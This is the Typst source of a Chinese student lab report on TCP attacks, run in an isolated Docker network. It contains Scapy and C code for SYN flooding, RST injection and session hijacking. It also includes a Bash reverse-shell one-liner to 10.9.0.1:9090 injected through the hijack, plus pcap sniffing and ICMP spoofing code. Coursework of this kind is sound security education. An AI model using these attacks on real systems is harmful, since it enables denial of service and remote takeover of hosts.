Files
nudtns2026spring/Tcp/main.typ
2026-05-08 21:21:45 +08:00

251 lines
10 KiB
Typst
Raw Blame History

This file contains ambiguous Unicode characters
This file contains Unicode characters that might be confused with other characters. If you think that this is intentional, you can safely ignore this warning. Use the Escape button to reveal them.
#import "labtemplate.typ": *
#show: nudtlabpaper.with(title: "TCP 攻击实验",
author: "程景愉",
id: "202302723005",
training_type: "无军籍",
grade: "2023",
major: "网络工程",
department: "计算机学院",
advisor: "柳林",
jobtitle: "教授",
lab: "307-208",
date: "2026.05.04",
header_str: "《网络安全》实验报告",
)
#set page(header: [
#set par(spacing: 6pt)
#align(center)[#text(size: 11pt)[《网络安全》实验报告]]
#v(-0.3em)
#line(length: 100%, stroke: (thickness: 1pt))
],)
#show heading: it => box(width: 100%)[
#v(0.50em)
#set text(font: hei)
#counter(heading).display()
#it.body
]
// 代码块样式
#show raw.where(block: true): it => box(
fill: rgb("#f5f5f5"),
inset: (x: 12pt, y: 10pt),
radius: 6pt,
stroke: (thickness: 1pt, paint: rgb("#e0e0e0")),
it
)
#outline(title: "目录",depth: 3, indent: 2em)
#pagebreak()
= 实验目的
#para[
TCP 协议是互联网的核心协议之一,其三次握手和连接管理机制虽然保证了传输的可靠性,但也引入了一些潜在的安全漏洞。本次实验旨在通过亲身实践,深入理解 TCP 协议的常见攻击方式及其背后的技术原理。具体目标包括:
]
- 理解 TCP SYN 泛洪SYN Flood攻击的原理掌握使用 Scapy C 语言实现该攻击的方法,并验证 SYN Cookies 防御机制的有效性。
- 掌握 TCP 重置Reset攻击的技术细节学习如何通过伪造 RST 包来强制中断已建立的 TCP 连接。
- 实践 TCP 会话劫持Session Hijacking技术理解如何通过监听和预测序列号在现有会话中注入恶意指令。
- 掌握利用会话劫持创建反向 ShellReverse Shell的方法理解该技术在实际渗透测试中的重要作用。
- 学习使用 libpcap 库和原始套接字Raw Socket C 语言中实现底层的数据包嗅探与伪造。
= 实验原理
== TCP 三次握手与 SYN 泛洪
#para[
TCP 建立连接需要三次握手:客户端发送 SYN服务器回复 SYN+ACK 并分配资源进入半连接SYN-RECV状态最后客户端回复 ACK。SYN 泛洪攻击通过发送大量的 SYN 请求但不完成最后一步使服务器的半连接队列Backlog Queue被占满从而拒绝合法用户的连接请求。
]
== TCP 重置与会话劫持
#para[
TCP 协议允许通过发送 RST 标志位的数据包来立即终止异常连接。如果攻击者能够获取或预测当前连接的端口号 and 序列号,就可以伪造一个 RST 包发送给其中一方,导致连接被强制断开。
]
#para[
会话劫持则更进一步,攻击者不仅要断开连接,而是要在序列号步调一致的情况下注入自己的数据。通过伪造源地址和正确的序列号,接收方会认为这些数据来自合法的对端,从而执行注入的指令。
]
== 反向 Shell
#para[
反向 Shell 是指被攻击者主动连接攻击者的监听端口,并将自己的 Shell `/bin/bash`)的输入输出重定向到该连接上。这种方式常用于突破防火墙的入站限制。
]
= 实验环境
#para[
本实验利用 Docker Compose 搭建了一个隔离的虚拟网络环境。该网络包含一台攻击者容器Attacker和三台用户/受害者容器。
]
#figure(
image("images/dockerps.png", width: 100%),
caption: [使用 docker ps 查看实验环境中的容器运行状态],
)
#align(center)[#table(
columns: (auto, auto, auto),
rows:(2em, 2em, 2em),
inset: 10pt,
align: horizon+center,
table.header([*主机角色*], [*IP地址*], [*说明*]),
"Attacker攻击者", "10.9.0.1 (host)", "运行攻击脚本,具有混杂模式权限",
"Victim (受害者)", "10.9.0.5", "运行 telnet 服务的目标服务器",
"User1 (合法用户)", "10.9.0.6", "实验中用于建立正常连接的主机",
)]
= 实验步骤及结果
== 任务集 1SYN 泛洪攻击
=== 任务 1.1:使用 Python 发起攻击
#para[
使用 Scapy 编写 `synflood.py`。其核心逻辑是在一个无限循环中,利用 `getrandbits(32)` 生成随机的源 IP 地址,并构造 TCP 头部将 `flags` 设置为 `'S'` (SYN)。
]
```python
while True:
pkt[IP].src = str(IPv4Address(getrandbits(32))) # 随机源 IP
pkt[TCP].sport = getrandbits(16) # 随机源端口
pkt[TCP].seq = getrandbits(32) # 随机序列号
send(pkt, verbose = 0)
```
#figure(
image("images/task1.1_synflood.png", width: 90%),
caption: [运行 synflood.py 期间Victim 上的 netstat 输出展示了大量处于 SYN_RECV 状态的连接],
)
=== 任务 1.2:使用 C 语言发起攻击
#para[
C 语言实现通过原始套接字直接构造 IP 和 TCP 头部。为了提高效率,我们手动计算了 TCP 校验和(包含伪首部)。
]
```c
// 核心循环:不断构造并发送 SYN 包
while (1) {
tcp->tcp_sport = rand();
tcp->tcp_flags = TH_SYN;
ip->iph_sourceip.s_addr = rand();
tcp->tcp_sum = calculate_tcp_checksum(ip); // 必须计算校验和
send_raw_ip_packet(ip);
}
```
#figure(
image("images/task1.2_synflood_c.png", width: 90%),
caption: [C 语言攻击下Victim 的半连接队列瞬间被伪造包填满],
)
=== 任务 1.3:启用 SYN Cookie 防御
#para[
启用防御后,服务器不再在收到 SYN 时立即分配资源,而是将连接信息编码进 `SYN-ACK` 的序列号中。
]
#figure(
image("images/task1.3_syncookies.png", width: 90%),
caption: [开启 SYN Cookies 后,合法用户 User1 仍能成功连接 Victim],
)
== 任务 2TCP 重置攻击
#para[
`reset_attack.py` 通过嗅探捕获 User1 发往 Victim 的包提取其确认号ACK作为伪造 RST 包的序列号SEQ从而使 Victim 认为对端要求重置连接。
]
```python
def spoof_reset(pkt):
ip = IP(src=pkt[IP].dst, dst=pkt[IP].src)
# 关键RST 包的 SEQ 必须在接收方的有效窗口内,通常设为对端的 ACK
tcp = TCP(sport=pkt[TCP].dport, dport=pkt[TCP].sport,
flags="R", seq=pkt[TCP].ack)
send(ip/tcp, verbose=0)
```
#figure(
image("images/task2_tcp_reset.png", width: 90%),
caption: [User1 的 telnet 窗口显示连接被成功重置],
)
== 任务 3TCP 会话劫持
#para[
会话劫持需要更精确的序列号控制。我们通过嗅探获取当前的 SEQ 和 Payload 长度,计算出下一个合法的 SEQ并注入指令。
]
```python
def hijack(pkt):
if pkt[TCP].payload:
ip = IP(src=pkt[IP].src, dst=pkt[IP].dst)
# 预测下一个 SEQ当前 SEQ + 载荷长度
tcp = TCP(sport=pkt[TCP].sport, dport=pkt[TCP].dport, flags="A",
seq=pkt[TCP].seq + len(pkt[TCP].payload), ack=pkt[TCP].ack)
payload = "\r touch /tmp/hijack_successful \r"
send(ip/tcp/payload, verbose=0)
```
#figure(
grid(
columns: (1fr, 1fr),
gutter: 10pt,
image("images/task3_session_hijack-1.png", width: 100%),
image("images/task3_session_hijack-2.png", width: 100%),
),
caption: [会话劫持成功:在 Victim 容器中验证了文件的创建],
)
== 任务 4创建反向 Shell
#para[
在劫持逻辑中,我们将注入的指令替换为 Bash 反向 Shell 指令。
]
```python
cmd = "\r /bin/bash -i > /dev/tcp/10.9.0.1/9090 0<&1 2>&1 \r"
```
#figure(
grid(
columns: (1fr, 1fr),
gutter: 10pt,
image("images/task4_reverse_shell-1.png", width: 100%),
image("images/task4_reverse_shell-2.png", width: 100%),
),
caption: [通过会话劫持注入反向 ShellAttacker 成功获得受害者控制权],
)
== 任务集 2基于 C 的嗅探与伪造
=== 任务 2.1:基于 libpcap 的嗅探
#para[
C 语言嗅探器通过 `pcap_loop` 持续处理报文。在回调函数中,我们通过指针偏移来解析 IP 头部。
]
```c
void got_packet(u_char *args, const struct pcap_pkthdr *header, const u_char *packet) {
// 跳过以太网头 (14字节) 到达 IP 头
struct ipheader *ip = (struct ipheader *)(packet + 14);
printf(" From: %s\n", inet_ntoa(ip->iph_sourceip));
printf(" To: %s\n", inet_ntoa(ip->iph_destip));
}
```
#figure(
image("images/task2.1_c_sniffer.png", width: 90%),
caption: [C 语言嗅探器成功输出实时抓取的 IP 报文信息],
)
=== 任务 2.3:嗅探与伪造联动 (Sniff-and-Spoof)
#para[
该任务要求程序在捕获到 ICMP 请求时立即构造一个 Reply。
]
```c
if (icmp->icmp_type == 8) { // 检测到 Echo Request
new_ip->iph_sourceip = ip->iph_destip; // 交换源目 IP
new_ip->iph_destip = ip->iph_sourceip;
new_icmp->icmp_type = 0; // 设置为 Echo Reply
new_icmp->icmp_chksum = 0; // 重新计算校验和
new_icmp->icmp_chksum = in_cksum(...);
send_raw_ip_packet(new_ip);
}
```
#figure(
image("images/task2.3_c_sniff_spoof.png", width: 90%),
caption: [联动程序成功欺骗 User1使其认为 1.2.3.4 在线],
)
=== 任务 2.1A:理解嗅探器工作原理
*问题 1必不可少的库调用序列*
1. `pcap_open_live()`: 打开指定的网络接口进行捕获。
2. `pcap_compile()`: 将字符串形式的过滤表达式编译为 BPF 程序。
3. `pcap_setfilter()`: 将编译好的过滤器安装到捕获句柄。
4. `pcap_loop()`: 进入捕获循环,对每个包调用回调函数。
*问题 2为何需要 Root 权限?*
嗅探程序需要创建原始套接字并开启网卡的混杂模式这些操作涉及到对硬件和底层网络栈的直接控制为了安全起见操作系统仅允许特权用户Root执行。如果非特权用户运行`pcap_open_live()` 将返回权限错误。
*问题 3混杂模式Promiscuous Mode*
在实验中,将 `pcap_open_live()` 的第三个参数设为 1 开启混杂模式0 则关闭。开启后,攻击者可以捕获到局域网内任意两台主机(如 User1 和 Victim之间的通信关闭后仅能捕获到发往本机或广播地址的流量。
= 实验总结
#para[
本次实验通过 Python 和 C 两种维度的实践,让我对 TCP/IP 协议栈的安全缺陷有了透彻的理解。从高层脚本的便捷性到低层 C 语言对每一比特的精准控制,我深刻体会到了网络攻防中"细节决定成败"的道理。特别是在序列号预测和校验和计算方面的实践,为我今后深入学习网络协议安全打下了坚实基础。
]